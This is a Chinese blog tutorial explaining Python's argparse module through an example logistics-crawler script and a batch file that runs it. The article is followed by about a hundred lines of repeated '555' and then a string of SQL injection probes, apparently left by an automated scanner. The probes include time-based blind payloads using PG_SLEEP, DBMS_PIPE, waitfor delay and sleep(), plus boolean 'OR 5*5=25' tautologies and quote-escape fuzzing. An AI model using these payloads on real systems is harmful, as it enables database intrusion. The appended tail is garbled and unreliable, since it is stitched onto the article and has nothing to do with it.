最近使用命令行运行python脚本的时候,需要输入参数,而python如何接收运用这些参数的。网上查了一下有比较多的库可以实现,argparse、docopt、click 和 fire等。
这里使用的是argparse库,argparse 是python自带的命令行参数解析包,可以用来方便地读取命令行参数。它的使用也比较简单,自动创建
一、我的测试脚本:
def main():
# description参数可以用于描述脚本的参数作用,默认为空
parser = argparse.ArgumentParser(description="监控数据库中新增的物流单号或者未签收的物流单,定时同步物流信息到本地数据库中.")
parser.add_argument('--crawl_type', '-c', type=int, choices=[1, 2], default=1, help='1:更新物流信息; 2:抓取物流新单')
parser.add_argument('--logistics_providers', '-l', default=None, help='指定爬取物流商名称,用括号和双引号括起来,比如:("DHL","UPS")')
parser.add_argument('--sleep_time', '-s', default=100, type=int, help='设置当无爬取任务后,休眠等待的时间(秒).')
parser.add_argument('--process_num', '-p', choices=[1, 3, 5, 7], default=5, type=int, help='设置多进程爬取,默认是5个进程.')
args = parser.parse_args() # 获取命令行参数
start(
crawl_type=args.crawl_type,
logistics_providers=args.logistics_providers,
sleep_time=args.sleep_time,
process_num=args.process_num,
) # 开始爬取任务
if __name__ == '__main__':
main()
二、命令行运行脚本
- 查看帮助说明:可以看到这个脚本的功能说明,以及各个参数的说明
python track_crawl.py --help

三、分析代码
1、ArgumentParser()
创建一个解释器parser,description 是关于这个程序的功能说明。
parser = argparse.ArgumentParser(description="监控数据库中新增的物流单号或者未签收的物流单,定时同步物流信息到本地数据库中.")
2、add_argument()
add_argument方法常用的有以下参数:
- 参数名称: 第一个是参数名称,比如我这里参数名称是crawl_type,前面加“--”;
- 参数别名: 参数简写,比如这里c代表这个参数的简写,前面加“-”;
- type: 指定输入的参数类型,输入的参数将被指定方法调用,可以这些方法包含int、str、tuple、list等;
- choices:指定用户输入的参数选择,用户不能输入指定参数以为的值;
- default:如果用户不指定参数,则默认参数为该值;
- help:该参数的说明。
parser.add_argument('--crawl_type', '-c', type=int, choices=[1, 2], default=1, help='1:更新物流信息; 2:抓取物流新单')
3、parser.parse_args()
获取命令行参数
args = parser.parse_args() # 获取命令行所有的参数
crawl_type=args.crawl_type # 获取crawl_type参数
题外话
好了,上面已经说明了关于Python的argparse库是如何解析命令行参数的,我们正常使用python脚本的时候,都是需要先打开命令行工具,切换到路径,然后输入命令指定运行脚本,为了避免重复操作,我们可以使用写个BAT批处理。
- 创建bat文件
创建一个文本文件,命名为“定时更新物流信息任务.bat”,内容如下
:: 注释说明:执行定时更新物流信息任务的脚本,休眠时间设置为4个钟
python track_crawl.py -c 1 -s 14400
- 运行bat文件
直接双击刚刚创建的bat批处理文件即可。可以看到直接弹出命令行工具,并且自动运行刚刚我们创建的代码。

- 后台运行bat脚本
如果需要,可以看这篇文章:后台运行bat脚本
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
(select 198766*667891 from DUAL)
(select 198766*667891)
@@EnHO1
555����%2527%2522\'\"
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
5559TfKgFXv')) OR 587=(SELECT 587 FROM PG_SLEEP(15))--
555c3uQCQ8c') OR 679=(SELECT 679 FROM PG_SLEEP(15))--
555BT1EXl77' OR 865=(SELECT 865 FROM PG_SLEEP(15))--
555-1)) OR 996=(SELECT 996 FROM PG_SLEEP(15))--
555-1) OR 231=(SELECT 231 FROM PG_SLEEP(15))--
555-1 OR 333=(SELECT 333 FROM PG_SLEEP(15))--
555AyNZ10AQ'
555-1 waitfor delay '0:0:15' --
555-1)
555-1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "yeIKxVPq"="
-1' OR 5*5=25 or 'SL0BLdTU'='
-1" OR 5*5=25 --
-1' OR 5*5=25 --
-1 OR 5*5=25
-1 OR 5*5=25 --
555
555
555